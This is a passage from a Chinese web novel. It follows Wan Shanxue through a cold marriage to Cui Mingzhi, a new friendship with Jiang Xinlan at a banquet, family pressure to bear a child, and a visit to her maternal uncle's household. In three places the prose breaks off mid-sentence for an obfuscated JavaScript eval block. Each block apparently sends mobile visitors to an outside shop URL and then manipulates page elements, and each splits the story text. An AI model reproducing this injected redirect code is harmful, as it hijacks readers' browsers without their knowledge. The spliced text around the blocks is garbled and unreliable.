她细细地剖析着，忽地想起与尤氏私会的男子说“这些年我亏待你什么了”“三辈人花不完”之类的话来，难道她是为了支撑崔家才与之交往的？ 见红璎还是气鼓鼓的，万山雪又说道：“别的不说，就看阿母的葬礼，你们也不难知道，女子在外办事有多难。你以为，指望我那点儿小伎俩就能绝了后患？他们真正怕的万家和崔家，倘若现下离开他们，不说其他人的觊觎欺压，就依陈氏夫妇泼皮无赖的性子，咱们日子能安稳么？” 红璎咬牙发狠道：“可是想到这样憋憋屈屈过一辈子，真教人气闷。你看那个表姑娘，这些日子趁着姑娘忙乱，几乎跟二爷整日出双入对，不知道的还以为她是崔夫人呢！” 万山雪不在意地笑笑：“什么稀罕物，她喜欢便拿去吧。” 红璎半晌才反应过来她说的是崔明之，又惊又喜又是心疼：“那……” 她一手握着橘霜，一手握着红璎，暗暗想道：总有一日，我要带着她们挣脱樊笼。 次日晨起差人去打听，万有善果然送了弟弟去武馆，橘霜的伤势也好得差不多了，万山雪心里静下来，拿出春草曾经给她做的马尾绣背带来细细摩挲，其余物事要么随棺长埋地下，要么给了红璎和万山毓作纪念，她独留了这个背带。 她听祖母说过，兰蘅去世后，她与弟弟有一年多都睡不安稳，赖着春草不许她离开一步。春草心疼她们，怀里抱着万山毓，背上背着万山雪，三岁的孩子已经很有分量了。她一背就是一整晚。 那时祖母说：“幸而红璎极乖巧，不哭闹不争抢，不然真要将春草撕成几瓣了。” 抚摸着正中心那只振翅欲飞的蝴蝶，她的眼泪一颗一颗滚落下来。 崔明之回房来，蹙眉说道：“我今日在燕楼宴请你的大恩人，快换身衣服跟我走。” 万山雪拭着眼泪说道：“你们男子见面，拉扯我做什么？” 崔明之不耐烦道：“黎将军身旁还有个江姑娘如影随形，若非如此，我可不是疯了，做什么非要带上你？” 万山雪存了要离开崔家的心思，原是不愿与他多打交道的，可是又一想，整日闷在府里更是无头苍蝇一般，况且去了还能见见江心澜。 她才答应着，外间便响起了乌思羽的声音：“二哥二嫂，听姨母说你们今日要去宴请黎将军，我想跟去见见那个很厉害的江姑娘，不知可方便？” 江心澜在京城世家女的口中，堪称传奇。 崔明之还没有说话，万山雪已经爽快答应下来：“好啊，你见了准会很喜欢她。” 崔明之颇为意外地看了她一眼。 21. 第 21 章 乌思羽欢天喜地回房去换衣裳，万山雪亦换了一身莲青色的素净衫裙，头发用一支素银扁绾成低髻，面上薄施脂粉。红璎低声询问首饰，她摇摇头：“如此便罢了。” 橘霜取来一对珍珠耳坠为她戴上：“终究是要见外客，奶奶不可打扮太素了。” 才梳妆罢，崔明之大步跨进门里，冷不丁问道：“说吧，无事献殷勤，有何目的？” 万山雪心下明白，嘴上装傻充愣：“二爷这话好生奇怪，我献什么殷勤，又向谁献殷勤了？” 崔明之嗤笑道：“我说你这人，就不能得个好脸色，多跟你说两句话，你便拿乔起来。你平日总气不过母亲待思羽好，以为我眼瞎看不出来？这会子又充什么好心，装出一副姐妹情深的样子。” “我当哪里做错了，气得二爷来兴师问罪。”万山雪反唇相讥，“这也是走万里路阅人无数说出来的道理。母亲是思羽的亲姨母，待外甥女好，连你做儿子的都只能看着，我做儿媳当嫂子的有什么资格喝干醋？再者你我是夫妻，她是你的表妹便是我表妹，别的忙帮不上，顺手的事儿也要拒绝，未免太不近人情。” 崔明之微微撇嘴，一脸“看你装到何时”的鄙夷神情，抱着双臂倚在门边说道：“你不愿说我也知道缘故，近来你外出太多，惹得母亲不快活。兰家大舅舅回京城，你想去看望又不敢说，便上赶着讨好思羽，好让她投桃报李，在母亲面前为你美言几句，是也不是？” “大舅舅回京了？”万山雪十分惊愕。 大舅舅兰中正与她母亲兰蘅是一母同胞的兄妹，感情极为浓厚，舅母黄夫人过门后，又与兰蘅极为合得来，来往甚密。 从前兰中正为工部员外郎，同在京城居住，他夫妇怜爱万山雪姐弟年幼失恃，时常过来看望或是接去家中小住。 只可惜，兰家长子十五岁那年初春感染时疫竟终至不治，撒手人寰。自此黄夫人日夜以泪洗面，如槁木死灰一般，若不是膝下还有个小女儿兰雁歌牵扯心肠，只怕已经随长子去矣。 没隔多久，先皇命兰中正到南边儿任职，阖家南迁，搬离了这伤心之地。 山水迢迢，别时容易见时难。这十来年间，只先皇驾崩时，兰中正回过京城，到万家匆匆一面随即作别。再就是万山雪大婚时，舅舅因为公中事务繁忙，实在挪不开身，便早早送黄夫人并兰雁歌回京给万山雪送嫁。 舅家看在手足遗孤的份上，虽十足热忱，奈何长年累月不曾相处，万山雪姐弟与舅母早就不如儿时那般热切，加之她一心沉浸在待嫁崔明之的喜悦里，平日又很依赖继母，凡百样事皆要跟继母讨主意，倒把舅母表妹撇在一旁甚少理会。便是不得已要开口时，也都是说些客气疏离之语。 如今想起，真真悔之无及。 舅母不远千里归来伤心地，只为了给她送嫁，却遭她冷待，那一趟必然伤心极了。 崔明之脸上浮起一抹厌恶：“搭个戏台子就演上了，你才刚从娘家回来，可别告诉我你不知晓此事。得了得了，反正在你乳母的事情上，我确实做的欠周到，算是送你个人情。我已经以你的名义给兰家送去了拜帖，待确定日子，我与母亲说一声携你同去便是，用不着这样处心积虑的，叫人看了恶心。” 万山雪压根儿不曾听父母提起此事，连崔明之都知道的一清二楚，万家人岂有不知的？ 既知道了，不告诉他们，还马不停蹄送了万山毓去武馆，如此就更彰显她姐弟无礼无情，令兰家人齿冷。 想明白这一关窍，她也顾不得反击崔明之的冷言冷语了，连忙上前两步说道：“是我不好，连日沉湎于伤心，倒将这大事给忘了，多谢二爷提醒我，我还有一事相求。” 她怕崔明之走，紧紧地抓着他的衣袖，被崔明之冷脸甩开：“有话说话。” 她也不生气：“二爷能不能给我点儿银钱？” 崔明之显然没想到她会说这句话，愣怔片刻。 她恳切说道：“二爷想，我去看舅舅舅母自然不能空着手，我失礼事小，堂堂崔家媳，丢了崔家脸面总不好。” “母亲不是每个月都给你发月例银子么？你又没有别的开销，怎会没钱用？” 万山雪红着脸自我检讨：“都怪我以往花钱大手大脚，顾前不顾后的，往后我一定改，请二爷看在我悔过的份上，就免提从前吧。” 崔明之不知为何，盯着她看了半晌，那目光不是她熟悉的厌恶抵触，而是一种带着意外的探究。 万山雪正忐忑时，忽见他扭过头去说道：“见面礼物我自会与母亲商量准备，不消你操心。回头我让牧笛给你送一百两银子，你自己掂量着花，若是想另外带些礼物也使得。” 啧……万山雪料不到，向这个夫婿求爱虽难，求钱竟如此容易，银子攥在手里，可比追求虚无缥缈的真心踏实多了。 回禀过尤氏后，见崔明之还有话要说，她便退了出来，静静立在抄手游廊下等待。 前些日子盛放的凌霄花开到荼蘼，立时又有朝气蓬勃的花儿仰着笑脸冲淡这凋零气息，不给人伤悼的机会。 她听到身后一声咳嗽，扭头看时，却发现不知何时崔明之已经立在她身后。又立了一炷香的功夫，听得环佩叮当，正是乌思羽盛装而来。 她穿着一身石榴红织金缠枝牡丹的云锦衫裙，那红色鲜艳欲滴，上用七彩丝线绣着繁复的鸟雀，在阳光之下流光溢彩，绚烂夺目。 乌黑的秀发梳成华丽的惊鸿髻，插着赤金镶红宝石的华胜，额间贴着雅致花钿，耳坠上是玛瑙滴珠耳珰，顶难得的是，姣好的面容在珠宝衬托下并不逊色，反而愈发皎然生辉。 她亲亲热热地走过来挽住万山雪：“好嫂嫂，咱们就去吧。” 一路上万山雪看得真切，乌思羽人坐在她身旁，目光却如同紧盯猎物的小兽，看似漫不经心，每一次都准确无误地落在崔明之身上。见见江心澜，怕只是她想与崔明之同行的借口， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756664|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抑或是，见不得他二人夫妇相随出门应酬。 怀春少女的娇羞如同隔在墙外的春光，无论门窗遮得怎样严实，还是会丝丝缕缕泄露出来。 万山雪看着她，就像看着自己的来时路，少女情怀，那样的纯粹热烈，羞怯怯又明晃晃，努力藏起却欲盖弥彰，这样炽热的感情给了崔明之这样的冷面冷心人，当真是可惜。 转念又一想，不由得自嘲道，这不是泥佛心疼金佛么。 崔明之待乌思羽与她简直是云泥之别，又有尤氏宠着，家里人捧着疼着，比她的境遇不知好到哪里去。 * 黎偃松遥遥望见与崔明之并肩而立的万山雪，他忽然有些记不清楚，昨儿怎会应下这张帖子。 他原本没想赴约的，短短两次会面，对崔明之的印象着实不怎样。且崔又是相国府主簿万有善的女婿，自然是没必要有过多交集的。 是了，是明洲说瞧见万山雪去当铺当首饰，他才想借此机会将那些银子还给她。 是心澜说：“不入虎穴焉得虎子，多出来走走，说不定能获取什么有益的消息。” 还有父亲得知后说道：“虽说施恩不图报，可须知还有受恩不忘报这句话。若是拒绝得太严丝合缝，人家心里到底还记挂着这份恩情，日日不得安宁，东西就留下吧，寻个机会将银子还给那姑娘。她既是当东西换来的，想必是不愿婆家娘家知晓，悄悄儿地，切勿伤了她的体面。” 此前未曾留意过崔明之的长相，这会子与万山雪站在一起，男俊女美相得益彰，居然有几分佳偶天成的意味儿。 万山雪朝着他与景明洲福了一福，伸手挽住他身后的江心澜，引入隔墙雅间。 黎偃松一面与崔明之客套寒暄，一面论主宾坐定，才喝了盏清茶，忽地闯进来一个明艳照人的姑娘：“嫂嫂，江姑娘可来了？” 一瞧见屋里人连忙退了出去，牧笛跟出去将她引到隔壁。 “诸位见笑了，这是舍表妹，打小儿姨父姨母宠爱异常，从前带在身边闯南走北的，这两年大了，跟出去多有不便，才送到舍下住着。与内人关系极好，礼数上多有欠缺，请将军莫要怪罪。” 崔明之谈笑自若，就好似此前相见时暴露在睽睽目光之下的夫妻间的龃龉都不存在。 饶是这些年见多识广，黎偃松仍是暗暗惊叹，此人真是交际场中的高手，三言两语轻轻巧巧就能将酒桌上的氛围调动起来。 女子们应该都喜爱崔明之这样的性子。 也是，过日子嘛，说说笑笑的，才有意思。 而他恰好相反，除了领兵作战时慷慨激昂，其余时间总是沉默寡言。 不知怎地，他忽然想起那日江心澜愤愤然指责他不爱说话，说日后没人受得了他的脾气。 再看看游刃有余的崔明之，在沙场上令敌军闻风丧胆的黎将军，极不情愿地承认：他平生第一次，涌起了一股叫做“羡慕”抑或是“嫉妒”的情感。 22. 第 22 章 席间，万山雪和乌思羽正听江心澜眉飞色舞地讲北疆的特色风俗，忽听“铮铮”两声如银瓶乍破，泠泠淙淙传了过来，紧接着有袅袅女声响起。 那歌声如同九天泄下的一股凛冽山泉，涤尽周遭喧嚣，虽听不清楚词曲，可那声音极美妙，唱到婉转处犹如早春黄莺在梅梢试啼叫，到高处又如云似雾，轻盈空灵。 一曲终了，万籁俱寂，唯有那清丽的余韵，仍似有还无地缭绕梁间。 江心澜叹道：“真好嗓音！” 又是一阵琴音，这次的歌姬想来年岁还小，声音脆生生、清凌凌，叫人想起秋季才摘的莲藕菱角，扑鼻的水润鲜甜。不同于前者的宛转悠扬，她的腔调带着豆蔻年华的少女独有的娇憨明媚。 万山雪替江心澜倒上杨梅酒，笑道：“姑娘若是喜欢，咱们也请一班子来。” 江心澜摆摆手道：“不了不了，沾沾光即可。咱们是图热闹听小曲儿，回头传到我娘耳朵里，又该满院子追着骂我了。” 万山雪奇道：“山高皇帝远，夫人如何能知晓？难不成黎将军和景副将还会告状？” “他俩倒不会。我防的是我自己，在我娘跟前儿口无遮拦习惯了，怕一不小心出卖自己。” 万山雪发现每接触一次，对她的喜欢就会加深几分，笑道：“夫人和将军就只姑娘一个宝贝女儿，便是说漏嘴，夫人是假打，姑娘也是假害怕，何况还有江将军护着呢，怕什么？” “得了，别看我爹威风凛凛的，这辈子最怕三人，顶头自然不消说是皇上。没成家时怕我祖父，成了亲最怕我娘。我要有胆子惹我娘动怒，他真能从北疆赶我回京城来。” 万山雪听她说的有趣，吃吃直笑，回头劝乌思羽吃酒时，才发觉她脸色不大好，她的嘴唇极力抿着，一只手紧紧攥着椅子扶手，还竭力维持着唇边的三分笑意。 她心底一声叹息，只装看不见：“妹妹也听得这般出神，别忘了吃酒，杨梅酒吃不醉人的，多吃两盏也无妨。” “二哥哥他……他敢在你眼皮子底下找歌姬，嫂嫂不管管么？”乌思羽艰难地说出口，眼圈儿已经泛红了。 “咱们玩咱们的，理他们作什么？再说了……”她看了一眼江心澜，“江姑娘不是外人，妹妹且看平日你二哥待我是何等厌烦，这会子当着众人给他没脸，他难道就会听我的？” 乌思羽的脸上红一阵青一阵白一阵，静静坐了一会儿，起身向江心澜道歉：“江姑娘，真对不住，大约这杨梅酒酒劲儿太大，我头晕得厉害。改日再向姑娘赔罪。” “是不是昨儿贪玩太过，没睡好所致？” 万山雪替她找了个台阶，“我叫金鲤去给你安排个房间歇息歇息，好难得见江姑娘一次，待会儿若好些了，再来听姑娘讲一些奇闻轶事，岂不好？” 乌思羽没再坚持，由丫鬟陪着出去了。 她才一走远，江心澜就一脸好奇凑过来：“那屋听小曲儿，乌姑娘怎地生气了？她是不是对黎偃松有意？还是景明洲？我可以帮忙牵线的哟。” 万山雪哈哈大笑，江心澜八卦的模样也太可爱了，若不是亲眼所见，她很难相信武功高强的女侠也会有这样小女儿的一面。 “这会子没外人，告诉姑娘我是不怕的，我们这个表妹，如果没猜错的话，她应该喜欢我夫君。” 江心澜登时大失所望：“真没劲！长这么好看，眼光可不怎么样呢！” 一时发现失言，赶紧找补：“好姐姐我说错话了，我不是那个意思……不是说崔二爷不好，我的意思是，依着崔家的家底和她的容貌，完全有很多可选余地的……” 万山雪笑着晃了晃她的手臂：“我知道，你别急。方才承蒙你一声姐姐，我可就厚脸受了，好妹妹。” “好，咱俩合得来，以后就姐妹相称吧，不要再夫人来姑娘去的了。” 万山雪欢喜极了，随后低声说道：“其实我夫……崔明之这个人挺好的。” “他具备令人心仪的大部分条件，外形、性格、能力与家世。思羽打小跟着父兄走南闯北，是见多识广之人，能心悦他，也足以证明这一点。他只是……只是对我一个人不好。” 原以为说出这个事实会很难堪，可脱口之后，她陡然觉得浑身一轻，眼里氤满了泪水。 江心澜手足无措：“啊这，对不住对不住，都是我不好，好姐姐你别难过啊，我真不会哄人……” 万山雪又被她逗笑了：“我没有难过，只是觉得可惜得很，少女时期最纯真的感情，给了一个厌恶我的人。那样全身心的信赖爱慕，我这辈子大概再也不会有了。” “那有什么可惜的？感情又不是不可再生之物，给了就给了。回到当时的心境，还是会做出一样的选择，不要苛责过去的自己。” 万山雪拭泪细想，果然有理，若回到过去，按着当时的处境心性，确实还会义无反顾地一头扎进去。 江心澜关切地问道：“你还好么，姐姐？” 万山雪笑道：“有江女侠这个开心果陪着，我再不开心，当真是不知好歹了。” “我是说乌姑娘心悦崔二爷这事儿，你日日面对，日子会不会很难过？” “从前会，如今不会了。” 江心澜点点头：“这就对了。” 两人转而聊起许多从前的趣事，越聊越投机，万山雪自小除了家里人，没有密友。江心澜是第一个她想要了解并且靠近的姑娘。 隔壁的歌声一曲接着一曲，听到美妙的，两人就不约而同停下来细细赏玩，不感兴趣的就继续闲聊。 万山雪忽然想起昨日她的不快，踌躇片刻问道：“昨儿在将军府里，妹妹从外面回来时，怎么瞧着脸上不高兴呢？” 不提还好，提到这一茬，江心澜又愁眉苦脸起来。 “你不是瞧见了那副地舆图，我打小就对这些感兴趣。裴老爷子的名声你肯定听过，他研究出许多绘制地图的法子，后来者都躺在他老人家的功劳簿上，直接搬用即可。只是现有的许多地舆图不够详尽，而且我跟在爹爹身边行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756665|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军打仗时，发觉地图上都多少有些谬误，在打仗中可能造成无法估量的损失。为此我想自己来亲自测量绘制边疆地舆图，有好些疑问想跟裴老爷子探讨探讨，可是他老人家年岁大了，不见外客，我去了几次都被拒之门外。而裴家那样大的家族，后人竟没有一个从事这行的了，故而烦恼得很。” 极少遇到坎坷的江心澜满脸挫败感：“我找许多人打听过，裴老爷子除了看书绘图之外，没有什么癖好，我简直不知道从何处下手。” 万山雪亦是从小听着裴元淳的故事长大的，在口口相传的故事里，这老爷子不好美食，不碰酒色，唯一喜欢的不过是饮茶。曾有人为了求见，送了价值万两的上好茶叶，可他不仅不肯收，还说茶本是天地所生草木，沾染铜臭未免失却本味，一年四季，只令家人采摘些山间花草制茶。 万山雪想了想说道：“姑娘画地图是为将士们行军打仗所用，本就属于国事，若是以将军名义求见，裴老爷子想来会松动些。” “我甚至还想过让黎偃松从皇上那儿请一道命令呢，可裴老爷子一把年纪了，这般强行逼迫人家，实在过意不去。再者也有狗仗人势的嫌疑。京城位高权重者何其多也，这个口子一开，以后都效仿起来，裴老爷子定然没有清净日子过。” 万山雪苦思冥想，只恨自己脑袋如榆木，想不出好的主意帮她解困，两人一时相对无言，陷入沉默里。 “是了，”江心澜拿出一个荷包，“我今儿给你准备了一份小礼物，希望姐姐不要嫌弃，哎不许动，回去再打开。” 听她如此说，万山雪已经猜到了八九分，坚持要打开，里面果然是三张一百两的银票：“这……” “你赶快收着吧，这会子你不收，回头黎偃松还得央我给你送。再要找一个没有旁人打搅的时候可难了，总不好大喇喇送到你府上去。” 她凑近低声说道：“再者说，过几日黎家老太太贺寿，你们少不得也要到场的，我虽然不当家，也很知道柴米油盐贵，夫家再好，也不如你自己手里丰裕来得自在。别跟我客套了，姐姐。” 万山雪捏了捏她的脸颊：“难为你小小年纪，怎么懂得这许多道理？我婚前若有你这脑袋一半灵光就好了。” “什么脑袋灵光，全是经验之谈。我一惹我娘生气，她就克扣我的钱，故而我从小就知道，爹有娘有，不如自己有。” 万山雪被她一脸郁闷的神情逗得哈哈大笑，这时乌思羽身边的丫鬟来了，说道：“二奶奶，我们姑娘歇了会儿仍嚷嚷头疼得厉害，想回府里去，请问二奶奶是要同行，还是分开走？” 恰在这时，隔壁席也散了，万山雪意犹未尽地执着江心澜的手：“好妹妹，若是能时时见到你，说说心里话，该有多快活。” 江心澜顽皮一笑，低声戏谑道：“这个容易，乌姑娘不是心悦崔二爷么？咱大方点儿拱手让给她，待回北疆时带上你。我娘最喜欢你这样文雅端庄的女子，一定欢喜得不得了。” 万山雪眨眨眼道：“一言为定。” 23. 第 23 章 分别时，听到江心澜与万山雪执手不舍，还以姐妹相称，黎偃松回头看了她们一眼。 崔明之神情也有些讶异，旋即笑道：“内子向来拙于交际，不料竟与江姑娘如此有缘分。” 江心微微澜撇嘴道：“我这人说话不好听，二爷莫见怪。依我看，拙的怕是二爷的眼睛，不善于发现姐姐优势，错把美玉当顽石。” 崔明之爽朗笑道：“江姑娘批评得很是，从此在下必定要改过自新。”说话时还往万山雪身旁靠近两步，显出伉俪情深的模样来。 万山雪心里一阵膈应，当着众人又不好表现出来，只是噙着微笑。 黎偃松上车时脚步有些踉跄，崔明之连忙上前搀扶，他回过头来，却深深地看了万山雪一眼。 想是醉得深了，俊朗的面庞被酒气烘出一层薄光，眼尾染上绯色，平日不怒自威的一双眸子，这会子涣散成烟雨朦胧的清潭，仿佛能将人溺进去。 万山雪发觉，自从她不再把崔明之当回事后，这世间的美男子忽地变多了。 瞧那挺括身姿，瞧那清贵气度，酒气熏天放别人身上是贬义，在将军身上不仅加了一重艳色，那醉态还有些……诱人。 身边的景明洲与黎将军平分秋色，就连青鲤、金鲤，一个谦和文雅，一个阳光开朗，她有些想不明白，当初，当初怎么就吊死在崔明之这一棵树上了呢？ 若非那样义无反顾，哪怕日子依旧过到这般田地，至少心里的懊悔不堪能够轻点儿。 上车后，见乌思羽怏怏不乐，她关切问道：“表妹可好些了？” 乌思羽满脸不悦，待车子辚辚走动时，才冷冷说道：“嫂嫂如今转变手段了，百依百顺，任由二哥哥胡来，以此取悦夫君倒也是个法子。只是凡事不可极，嫂嫂三从四德也太过了。” “哦？依着表妹而言，妻子待夫君该当如何？”她轻摇扇子，笑吟吟道。 “我……”乌思羽才说了一个字就回过味来，蓦地止住，白净的脸庞唰得通红，“我一个没出阁的姑娘，哪里懂得这些？不过是好心好意提醒嫂子罢了，嫂子若是听不进去，便只当我多管闲事。” “没法子，能力有限。”万山雪笑道，“妹妹既自知是未出阁的姑娘，就该知道行事分寸。知道的呢，说妹妹虚心好学，提前琢磨御夫之道，为长远做准备。不知道的，背地说成什么样，可就难讲了。” 乌思羽气得满面绯红，转而冷笑道：“平日里不言不语的，谁知道哑巴蚊子咬死人。我们去姨母面前评评理儿，这也是当嫂子的人说的话！” “好啊，正好我也想请教请教，未出阁的表妹教导表嫂御夫之道，我该如何领教才不失敬意。” 乌思羽气结，一路无言。 平心而论，万山雪并不讨厌乌思羽。 甚至因为在乌思羽身上看到自己曾经飞蛾扑火的影子而倍感心痛。她脱了两层皮终于悟出来了，念在同为女子的份上拉一把。奈何这痴儿比曾经的万山雪还要一意孤行，非在崔明之这个坛子里溺死，谁也没法子。 是夜，萧慎父亲来访，与崔明之彻夜密谈。 睡到五更天时，万山雪忽地觉出旁边躺下一个人，她惊醒坐起，发现是崔明之，拍着心口问道：“你怎么来了？” “笑话，这不是我的房子？” 万山雪习惯伴烛而眠，灯花许久未剪，火光明明灭灭。崔明之挥袖一扇，屋里一片黑寂。不一会儿，便响起了他绵长的呼吸，想来是睡熟了。 她被惊醒后却无论如何也睡不着，往床里侧缩了又缩。原先心心念念共赴一生之人，如今连衣角碰到都觉如鲠在喉。 “我们生个孩子吧。”崔明之突兀说道。 万山雪听着别扭得很，原是情意绵绵之语，从他嘴里说出来，真刺耳。 五味杂陈，她咂摸半晌喃喃道：“……再说吧。” “瞧瞧，我白日怎么说来着，但凡给你个好脸儿，就开始拿乔作势，前些日子是谁哭着求我要个孩子？” “二爷误会，只是近来心绪不佳，没准备好罢了。” “得，算我多事。”崔明之翻身下床，扯过外衣就出去了。 这一岔无论如何也睡不着了，在床上翻来覆去千头万绪，崔明之怎地冒出这个想法？若是依了他，从今后可就彻底绑在崔家了。若是不依他，路又该朝何处走？ 越想越焦躁，直急出一身汗来，索性起身梳洗罢，到外间坐着翻书。 天亮时珊瑚来了：“二奶奶起得这样早？太太说请奶奶过去，看看给舅老爷家准备的礼物可有不妥之处，或是要添要换的。” 万山雪暗自诧异，今日这太阳还从东边起来么？自嫁进崔家何尝有过这等权力？ 尤氏面上一如往常淡然，语气却柔和得多：“你与舅舅家经年未见，这一趟去不可失了敬意。我与明之商量着准备了这些，叫你来看看，可有不周全的。” 万山雪打眼一望，色色俱全足见诚意。 看来此次舅舅回京是要长住的了。外放的官员只要无功无过，回京至少官晋一级。她虽不问政事，也知道舅父是个颇具才干的清官，崔家母子此举何意，也就不问而知了。 她做出一副受宠若惊的样子来：“母亲和二爷准备如此妥当，我就是想挑理儿也没地儿挑去。” 尤氏扯了两句闲篇儿，说道：“昨儿你们不在家，崔家的几个长辈都来了，说若是肚子再没有动静，不等明之去请，就要来给你拍喜了。” “拍喜”这个词，一直是悬在万山雪头上的鞭子。 崔家祖上是南方人，自崔明之的曾曾祖父携家北迁已有四五代了，衣食住行方方面面都和京城人士无异，可一到教训子孙后代时，总会搬出家乡的习俗来。 拍喜，又曰打生，说那些久婚未育的女子，导致夫家香火无法延续，应该受到神明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756666|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的惩罚。 神明在举头三尺，却看不见摸不着，夫家便自告奋勇代领其职，找人埋伏在妇人的必经之路上，趁其不备跳出来借神明之义责打她。还要一边打一边唱：“打生，打生，打尔何不把孩生。” 听说有的家族打完之后，要求妇人跪在神佛面前告罪，再燃起火堆，令族中女郎抬头抬脚，将她放在火上荡来荡去，以求神明饶恕，赐下孩子。 万山雪不言语，静静地等着尤氏往下说。 尤氏叹道：“你虽非我所生，到底咱们成了一家人，自你进门起，我便视你如同亲女无二，如何舍得你受那样的委屈？故而严词挡回去了，可下一次，下下次该当如何呢？你终是要自己多上心。” 她说一句，万山雪便应一句，一时婆媳再无话说。 早膳过后，在尤氏房里又陪坐片刻，崔明之走进来说道：“母亲，早膳仍叫他们摆在书房里，我陪萧伯父一道。” 尤氏嗔道：“这点子事还要你巴巴儿跑来嘱咐。昨儿你们灯火到三更，商量得如何了？” 崔明之一抬眼，屋子里的下人全都出去了，万山雪也赶紧起身，尤氏叱道：“回来，以后崔家这家业都要交到你二人手里，虽有明之撑着，你一事不知如何使得？” “皇上将这问题推给皇商了，缺铜，要么滇铜京运，要么去东洋运铜。滇途遥远脚力所费极贵，而那些狡猾的东洋人，情知我们急缺坐地起价，跑一趟是根本赚不了钱的。两相比较，就譬如苦瓜缠黄连。” 尤氏道：“既是皇命，还管什么赚不赚钱，贴钱也要替皇上解决这燃眉之急。我这把年纪了，要什么荣华富贵，家业全舍出去，能求你们夫妻俩和和美美后代平安，那也是值得的。” “母亲这话只怕也是各位皇商心里想的，只是从京城到东洋，多用船行，反而要快些，估摸着此次又是争得头破血流。” “依你看咱们有几成把握？” “四五分吧。” 崔明之站起身踱步，“母亲莫忧心，朝廷亦要权衡此事，尘埃落定之前，咱们尽力争取就是了。” 尤氏低头思忖半晌，说道：“众人拾柴火焰高，咱们和萧家分头去想法子，你也多找岳父商量商量。就是今日到了兰家，也找你们舅舅讨讨主意。他们到底比你年轻人经见得多，主意又稳，多请教是不会有错的。” “还有，你们小两口平日拌个嘴轻来轻去无伤大雅，到了关键时候定要拧成一股绳，晓得么？” 两人一道望着万山雪，她听到此时心里一片雪亮，起身说道：“我最是个无用的，听得稀里糊涂，不过是听凭母亲和二爷吩咐，我便照做，总是不会出错的。” 回房换衣裳时，红璎凑过来说道：“我跟牧笛打听明白，舅老爷此次回京升任工部侍郎，听说是正四品。” 万山雪冷笑一声：“我说这娘俩见了鬼，突然转了性子，却原来船在这儿湾着呢！” 24. 第 24 章 怕黄夫人睹物思人，兰家原先的住宅已经卖掉了，此次回来住在羊尾胡同的深处，毫不起眼，从外面根本看不出是朝廷四品官之家。 万山雪暗想，如此也好，往后妹妹出嫁了，只有舅舅舅母两人相伴，偌大的房子住着反而更显寥落凄清，倒不如这小院落来得亲切。 管家迎了出来，将二人引进门：“今儿个老爷夫人将他人邀约一概推掉，专程在家候着二爷和奶奶。” 只这一句话，万山雪的眼泪便洇在了眼底，只是竭力抑制着。他引着崔明之去书房见兰中正，两个婆子并几个丫鬟则簇拥着万山雪去了内院。 万山雪察觉到左手的婆子不住地打量着她，黄夫人待下人虽宽厚，却也很注重规矩，断不至于纵得下人如此无礼。她暗暗纳罕，便留心向那婆子看去。 婆子躲闪不及，饱经风霜的眼里包着一汪泪水被她看得清清楚楚，不问可知，这一定是兰家的老人儿，见了她便想起早逝的大姑娘兰蘅。她心头一软，在搭着的手臂上轻轻拍了拍。 小院狭长，卵石小径蜿蜒着将视线引向深处。正堂的门楣上悬着块木匾，刻着“抱拙”二字。堂内不设屏风，中堂悬着一副水墨兰草。 穿过堂后月洞门，迎面立着一株老槐树，树荫如盖，筛下的光影在池水里闪闪烁烁，偶有锦鲤跃动，便晃成满池碎金。 忽闻一声：“姑娘，慢点儿，当心脚下！” 抬头便瞧见个年轻姑娘提着裙裾一路朝这边跑过来，后面跟着个小丫鬟一面跑一面提醒着。 才及笄的年龄，已经比她高出半个头了，穿着一袭杏子黄金芍药纹齐胸襦裙，外罩一件白色绣浅粉睡莲的半臂，修长白皙的脖颈上戴着赤金盘螭璎珞圈，底下坠着小小的长命锁，随着她的步伐轻轻晃动，将主人不加雕琢粉饰的纯真鲜活散发出来。 到了跟前，兰雁歌忽地收住步子，小心翼翼地在万山雪脸上扫视一圈，才笑着说道：“姐姐还记得我么？我是雁歌。” 万山雪知道，她是被三年前的冷漠吓到了，想热情又不敢。 可即便有那样的担忧，她仍是一路跑着来相见。这就可知，当时所遭受的冷遇并没有阻止他们的牵挂。 她与雁歌所处时日极少，能有这般关切，必然是因舅舅舅母时常在耳边念叨之故。 她心里满是内疚，忙紧紧地牵住她的手：“好妹妹，我怎会认不出你？三年不见，长成大姑娘了。” 兰雁歌亲亲热热地挽着她的手臂朝屋子走去，低声说道：“我母亲正淌眼抹泪呢。回京第二日我们去了姑母和哥哥墓前，路上听说了春草嬷嬷的事，又踅去她坟前祭奠。” 春草虽为下人，可年龄与兰蘅和兰中正相仿，说一道长大的也不为过，后受兰蘅托孤更得兰家人敬重，突然去了，他们心里必然也是震痛的。 